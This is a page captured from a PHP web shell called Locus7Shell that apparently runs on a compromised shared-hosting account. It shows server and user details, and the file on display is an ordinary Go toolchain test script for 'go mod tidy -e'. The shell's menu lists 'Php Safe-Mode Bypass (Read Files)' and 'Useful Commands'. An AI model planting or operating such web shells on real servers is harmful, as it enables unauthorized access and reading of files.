![]() | |
|---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm003.cluster110.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/go/src/cmd/go/testdata/script/ drwxr-xr-x | |
| Viewing file: Select action/file-type: # This test checks that "go mod tidy -e" do not panic when
# using a file goproxy that is missing some modules.
# Verifies golang.org/issue/51589
# download the modules first
env GO111MODULE=on
env GOPATH=$WORK/gopath
cd $WORK/x
go mod tidy
# Use download cache as file:/// proxy.
[GOOS:windows] env GOPROXY=file:///$WORK/gopath/pkg/mod/cache/download
[!GOOS:windows] env GOPROXY=file://$WORK/gopath/pkg/mod/cache/download
rm $WORK/gopath/pkg/mod/cache/download/golang.org/x/text/
go mod tidy -e
stderr '^go: rsc.io/sampler@v1.3.0 requires\n\tgolang.org/x/text@.*: reading file://.*/pkg/mod/cache/download/golang.org/x/text/.*'
! stderr 'signal SIGSEGV: segmentation violation'
-- $WORK/x/go.mod --
module example.com/mod
go 1.17
require rsc.io/quote v1.5.2
require (
golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c // indirect
rsc.io/sampler v1.3.0 // indirect
)
-- $WORK/x/x.go --
package mod
import (
"fmt"
"rsc.io/quote"
)
func Echo() {
fmt.Println(quote.Hello())
}
|
Useful Commands
|
|
Php Safe-Mode Bypass (Read Files)
|
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0053 ]-- |